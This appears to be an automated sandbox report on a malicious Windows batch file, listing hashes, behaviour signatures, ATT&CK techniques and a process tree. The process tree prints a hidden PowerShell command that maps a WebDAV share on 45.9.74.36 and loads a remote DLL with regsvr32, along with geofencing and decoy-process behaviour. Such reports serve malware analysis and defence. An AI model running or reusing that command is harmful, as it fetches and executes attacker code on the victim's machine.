36dc7c49ff2b11d6a64393062d1e52981613a6cbcc108cbdb10ee89176f61b11

Analysis

max time kernel
140s
max time network
124s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
19/07/2024, 20:00

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General

Target

158686892482627479.bat
Size

11KB
MD5

c22dcfb899e5397b7e95109741260294
SHA1

a665343c06e321f42638a4cc267b5569ee6ca372
SHA256

36dc7c49ff2b11d6a64393062d1e52981613a6cbcc108cbdb10ee89176f61b11
SHA512

57202733dbff145f22a7a33ade0d8a0a243b9e864e5c1f3e9c01f30e50cf49e7507365f1e3a566e91bf1537b33185811817d817d1012f1b334c90a43723f8616
SSDEEP

192:qPNI47Xewdyf99BS991oEU5vQGfyf/GnvLS2yd2FxOwrZQT0G+6:8NIm3dyf99A99+EU5vQXnGnvLS2jFx1O

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2668	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-384068567-2943195810-3631207890-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2668	powershell.exe
2668	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2668	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
3008	wordpad.exe
3008	wordpad.exe
3008	wordpad.exe
3008	wordpad.exe
3008	wordpad.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1848 wrote to memory of 3008	1848	cmd.exe	85
PID 1848 wrote to memory of 3008	1848	cmd.exe	85
PID 1848 wrote to memory of 2668	1848	cmd.exe	87
PID 1848 wrote to memory of 2668	1848	cmd.exe	87
PID 2668 wrote to memory of 1976	2668	powershell.exe	89
PID 2668 wrote to memory of 1976	2668	powershell.exe	89
PID 2668 wrote to memory of 1244	2668	powershell.exe	90
PID 2668 wrote to memory of 1244	2668	powershell.exe	90

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\158686892482627479.bat"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1848
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:3008
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\28079212083825.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2668
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:1976
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\28079212083825.dll
    3⤵
    PID:1244

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
1⤵
PID:4048

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dvyfz4lu.z50.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2668-9-0x000001835F9E0000-0x000001835FA02000-memory.dmp

Filesize
136KB

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